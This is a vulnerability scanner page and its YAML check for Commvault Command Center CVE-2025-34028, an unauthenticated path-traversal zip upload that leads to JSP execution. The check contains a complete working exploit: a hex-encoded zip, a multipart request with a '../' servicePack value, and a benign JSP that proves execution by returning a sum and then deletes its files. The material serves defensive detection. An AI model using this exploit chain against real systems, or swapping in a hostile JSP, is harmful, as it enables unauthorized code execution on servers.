Commvault — 1 vulnerability check

noctis ships 1 vulnerability check for Commvault, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Commvault Command Center deployServiceCommcell.do Unauthenticated Zip Upload Path Traversal RCE

CVECVE-2025-34028
Severitycritical · CVSS 10.0
Categoryrce — Remote code execution
Serviceshttp, https
Detectionset_var, http_request, match, script, tcp_dialogue, sleep · highest QoD 97
Feedtests/vulnerabilities/commvault/CVE-2025-34028.yaml

Detects Commvault Command Center Innovation Release builds (11.38.0 to 11.38.19) whose /commandcenter/deployServiceCommcell.do endpoint accepts an unauthenticated package upload and extracts it into a directory built from the servicePack parameter without rejecting "../", which lets a JSP be written into the Reports web application and run by the server. After checking that the endpoint answers with a Commvault message document, the test uploads a small zip whose servicePack value points to a per-run random directory under /reports/MetricsUpload/, then requests the extracted JSP with two random numbers. The JSP prints their sum and deletes the random directory and the stored copy of the package. The finding is reported only when the computed sum comes back, which proves the files were written into the web application and executed; a server that keeps the package outside the web root, or serves the JSP as text, is not reported.

How noctis detects it

  1. HTTP(S) request GET /commandcenter/deployServiceCommcell.do
  2. Checks probe.body for ></cv:cvMessages>
  3. Parses / computes the next value with a Rhai script
  4. TCP dialogue: one binary protocol frame
  5. HTTP(S) request GET /reports/MetricsUpload/{{g.t}}/.tmp/dist-cc/dist-cc/noctis.jsp?t={{g.t}}&a={{g.a}}&b=…
  6. Checks jsp.body for NOCTIS[0-9]+END → finding QoD 97: Unauthenticated POST /commandcenter/deployServiceCommcell.do with servicePack=/../../../Reports/MetricsUpload/…/ extracted a zip into the R…

References:

Feed source — tests/vulnerabilities/commvault/CVE-2025-34028.yaml
# Commvault Command Center 11.38.0 – 11.38.19 (Innovation Release) —
# unauthenticated zip upload with path traversal in deployServiceCommcell.do
# (CVE-2025-34028), leading to JSP execution.
#
# Sources: watchTowr Labs write-up and PoC
#   (watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028), Commvault advisory
#   CV_2025_04_1.
#
# The /commandcenter/deployServiceCommcell.do handler is reachable without
# authentication. It takes a multipart request (servicePack, version, and a
# zip file part), prefixes servicePack with "SP", writes the zip as
# Apache\conf\ccPackages\SP<servicePack>\dist-cc.zip and unzips it into
# AdminConsole\dist-cc-sps\SP<servicePack>.tmp\dist-cc (both under the
# ContentStore directory). servicePack is not checked for "../", so
# "/../../../Reports/MetricsUpload/<dir>/" extracts the zip into the Reports
# web application, served at /reports/, where a JSP is compiled and run by
# the Command Center web server (SYSTEM on Windows).
# The sibling endpoint deployWebpackage.do fetches the same package from
# "https://" + commcellName + "/commandcenter/webpackage.do" (SSRF form of the
# same bug); its fetch is always HTTPS, which the scanner's plain-HTTP OOB
# listener cannot record, so this feed uses the direct upload instead.
#
# Detection (QoD 97, real exploitation, benign):
#   1. GET /commandcenter/deployServiceCommcell.do must answer with a
#      Commvault <cv:cvMessages> document (same check as the watchTowr PoC);
#      nothing is uploaded to anything else.
#   2. POST a fixed stored (uncompressed) zip — dist-cc/, dist-cc/ccApp/,
#      dist-cc/ccApp/index.html and dist-cc/noctis.jsp, the layout of the
#      watchTowr PoC — with servicePack=/../../../Reports/MetricsUpload/<t>/,
#      <t> = per-run random directory name.
#   3. GET /reports/MetricsUpload/<t>/.tmp/dist-cc/dist-cc/noctis.jsp?t=<t>&a=<a>&b=<b>.
#      The JSP prints NOCTIS<a+b>END (the computed sum never appears in what the
#      scanner sends), then deletes the whole <t> directory — only a directory
#      named exactly <t> (12+ characters) whose parent is MetricsUpload, else
#      only its own file — and the stored package copy
#      ContentStore/Apache/Reports/MetricsUpload/<t> (dist-cc.zip), if that
#      directory exists. Only a server that extracted the zip into the web
#      application AND executed the JSP returns the sum.
#
# JSP source (fixed, so the zip is a constant; regenerate the hex if edited):
#   <%@ page import="java.io.File" %><%! void rm(File f) { File[] c = f.listFiles(); if (c != null) for (File x : c) rm(x); f.delete(); } %><% try { out.print("NOCTIS" + (Long.parseLong(request.getParameter("a")) + Long.parseLong(request.getParameter("b"))) + "END"); } catch (Exception e) { } try { String t = request.getParameter("t"); File f = new File(application.getRealPath(request.getServletPath())); File d = f.getParentFile(); while (d != null && !d.getName().equals(t)) d = d.getParentFile(); if (t != null && t.length() >= 12 && d != null && d.getParentFile() != null && d.getParentFile().getName().equalsIgnoreCase("MetricsUpload")) { rm(d); File r = d.getParentFile().getParentFile(); if (r != null && r.getParentFile() != null) { File p = new File(r.getParentFile(), "Apache/Reports/MetricsUpload/" + t); if (p.isDirectory()) rm(p); } } else f.delete(); } catch (Exception e) { } %>
#
# Replaces the earlier version of this feed, whose OOB branch sent
# commcellName as a full URL (the server uses it as a host name and fetches
# over HTTPS, so no callback could ever be recorded) and whose QoD 50 finding
# only proved that an unauthenticated endpoint answered (HTTP 900 + "error",
# a reply shape seen only in the mock), which fixed releases do too.
#
# Limitations: the traversal target is the Windows layout used by the PoC
# ("Reports", case-insensitive file system). On an install where that path
# does not reach the /reports/ web application, the upload is not reported,
# and the extracted files stay in place. If the upload works but the GET does
# not reach the JSP, the <t> directories with the unexecuted JSP stay behind.
# The zip is also sent to installs that pass the fingerprint but are fixed
# (11.38.20+); how a fixed build stores it is not documented.
uid: a59842a7-665a-42af-958c-0ca50f6d0933
name: "Commvault Command Center deployServiceCommcell.do Unauthenticated Zip Upload Path Traversal RCE (CVE-2025-34028)"
description: |
  Detects Commvault Command Center Innovation Release builds (11.38.0 to
  11.38.19) whose /commandcenter/deployServiceCommcell.do endpoint accepts an
  unauthenticated package upload and extracts it into a directory built from the
  servicePack parameter without rejecting "../", which lets a JSP be written
  into the Reports web application and run by the server. After checking that
  the endpoint answers with a Commvault message document, the test uploads a
  small zip whose servicePack value points to a per-run random directory under
  /reports/MetricsUpload/, then requests the extracted JSP with two random
  numbers. The JSP prints their sum and deletes the random directory and the
  stored copy of the package. The
  finding is reported only when the computed sum comes back, which proves the
  files were written into the web application and executed; a server that keeps
  the package outside the web root, or serves the JSP as text, is not reported.
cves: [CVE-2025-34028]
cvss: 10.0
severity: critical
category: rce
confidence_base: 0.30
tags: [commvault, command-center, file-upload, zip-slip, path-traversal, jsp, rce, kev, pre-auth, intrusive]
services: [http, https]
author: noctis
version: "2.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2025-34028"
  - "https://documentation.commvault.com/securityadvisories/CV_2025_04_1.html"
  - "https://labs.watchtowr.com/fire-in-the-hole-were-breaching-the-vault-commvault-remote-code-execution-cve-2025-34028/"
  - "https://github.com/watchtowrlabs/watchTowr-vs-Commvault-PreAuth-RCE-CVE-2025-34028"

steps:
  - id: init-cv-ok
    action: set_var
    var_name: cv_ok
    var_value: false

  # Commvault fingerprint: the handler answers a GET with a cv:cvMessages
  # document. Nothing is uploaded unless it does.
  - id: probe
    action: http_request
    method: GET
    path: /commandcenter/deployServiceCommcell.do
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: probe

  - id: is-commvault
    action: match
    source: probe.body
    pattern: "></cv:cvMessages>"
    condition: "probe.status >= 200 && probe.status < 600"
    on_match:
      set_vars:
        cv_ok: true

  # Build the raw multipart upload as hex: servicePack (traversal into a
  # per-run directory), version, and the fixed zip (1379 bytes).
  - id: gen
    action: script
    condition: "cv_ok == true"
    code: |
      let a = rand_int(100000, 999999);
      let b = rand_int(100000, 999999);
      let t = "noctis" + rand_hex(8);
      let zip = "504b03041400000000000000215a00000000000000000000000008000000646973742d63632f504b03041400000000000000215a0000000000000000000000000e000000646973742d63632f63634170702f504b03041400000000000000215aeb625740210000002100000018000000646973742d63632f63634170702f696e6465782e68746d6c3c68746d6c3e3c626f64793e6e6f637469733c2f626f64793e3c2f68746d6c3e0a504b03041400000000000000215ab07b017b7c0300007c03000012000000646973742d63632f6e6f637469732e6a73703c2540207061676520696d706f72743d226a6176612e696f2e46696c652220253e3c252120766f696420726d2846696c65206629207b2046696c655b5d2063203d20662e6c69737446696c657328293b20696620286320213d206e756c6c2920666f72202846696c652078203a20632920726d2878293b20662e64656c65746528293b207d20253e3c2520747279207b206f75742e7072696e7428224e4f4354495322202b20284c6f6e672e70617273654c6f6e6728726571756573742e676574506172616d65746572282261222929202b204c6f6e672e70617273654c6f6e6728726571756573742e676574506172616d6574657228226222292929202b2022454e4422293b207d2063617463682028457863657074696f6e206529207b207d20747279207b20537472696e672074203d20726571756573742e676574506172616d6574657228227422293b2046696c652066203d206e65772046696c65286170706c69636174696f6e2e6765745265616c5061746828726571756573742e676574536572766c657450617468282929293b2046696c652064203d20662e676574506172656e7446696c6528293b207768696c6520286420213d206e756c6c2026262021642e6765744e616d6528292e657175616c73287429292064203d20642e676574506172656e7446696c6528293b20696620287420213d206e756c6c20262620742e6c656e6774682829203e3d203132202626206420213d206e756c6c20262620642e676574506172656e7446696c65282920213d206e756c6c20262620642e676574506172656e7446696c6528292e6765744e616d6528292e657175616c7349676e6f72654361736528224d65747269637355706c6f6164222929207b20726d2864293b2046696c652072203d20642e676574506172656e7446696c6528292e676574506172656e7446696c6528293b20696620287220213d206e756c6c20262620722e676574506172656e7446696c65282920213d206e756c6c29207b2046696c652070203d206e65772046696c6528722e676574506172656e7446696c6528292c20224170616368652f5265706f7274732f4d65747269637355706c6f61642f22202b2074293b2069662028702e69734469726563746f727928292920726d2870293b207d207d20656c736520662e64656c65746528293b207d2063617463682028457863657074696f6e206529207b207d20253e504b010214001400000000000000215a000000000000000000000000080000000000000000001000000000000000646973742d63632f504b010214001400000000000000215a0000000000000000000000000e0000000000000000001000000026000000646973742d63632f63634170702f504b010214001400000000000000215aeb6257402100000021000000180000000000000000000000800152000000646973742d63632f63634170702f696e6465782e68746d6c504b010214001400000000000000215ab07b017b7c0300007c0300001200000000000000000000008001a9000000646973742d63632f6e6f637469732e6a7370504b05060000000004000400f8000000550400000000";
      let boundary = "----------------------------noctis" + rand_hex(6);
      let sp = "--" + boundary + "\r\nContent-Disposition: form-data; name=\"servicePack\"\r\nContent-Type: text/plain\r\n\r\n/../../../Reports/MetricsUpload/" + t + "/\r\n";
      let ver = "--" + boundary + "\r\nContent-Disposition: form-data; name=\"version\"\r\nContent-Type: text/plain\r\n\r\n12.45\r\n";
      let fh = "--" + boundary + "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"file.zip\"\r\nContent-Type: application/octet-stream\r\n\r\n";
      let tail = "\r\n--" + boundary + "--\r\n";
      let body = hexstr(sp + ver + fh) + zip + hexstr(tail);
      let req = "POST /commandcenter/deployServiceCommcell.do HTTP/1.0\r\nHost: " + target_host + "\r\nAccept: */*\r\nContent-Type: multipart/form-data; boundary=" + boundary + "\r\nContent-Length: " + (strlen(body) / 2) + "\r\nConnection: close\r\n\r\n";
      #{ t: t, a: a, b: b, marker: "NOCTIS" + (a + b) + "END", req: hexstr(req) + body }
    store_as: g

  # Unauthenticated upload. Its reply is not needed: the GET below is the proof.
  - id: upload
    action: tcp_dialogue
    condition: "cv_ok == true"
    port: "{{port}}"
    read_banner: false
    timeout_secs: 15
    send_hex: "{{g.req}}"
    store_as: up

  # Give the server time to finish extracting before the JSP is requested.
  - id: settle
    action: sleep
    condition: "cv_ok == true"
    duration_ms: 1000

  - id: fetch
    action: http_request
    condition: "cv_ok == true"
    method: GET
    path: "/reports/MetricsUpload/{{g.t}}/.tmp/dist-cc/dist-cc/noctis.jsp?t={{g.t}}&a={{g.a}}&b={{g.b}}"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: jsp

  # Only a server that extracted the package into the web application and
  # executed the JSP returns the computed sum.
  - id: confirm
    action: match
    source: jsp.body
    pattern: "NOCTIS[0-9]+END"
    condition: "cv_ok == true && jsp.status == 200 && stridx(jsp.body, g.marker) >= 0"
    on_match:
      finding:
        confidence_delta: 0.67
        qod: 97
        evidence: "Unauthenticated POST /commandcenter/deployServiceCommcell.do with servicePack=/../../../Reports/MetricsUpload/{{g.t}}/ extracted a zip into the Reports web application; GET /reports/MetricsUpload/{{g.t}}/.tmp/dist-cc/dist-cc/noctis.jsp?a={{g.a}}&b={{g.b}} executed the JSP and returned the computed marker {{g.marker}} (the JSP then deleted the {{g.t}} directory)"
      stop: true

View these feeds on GitHub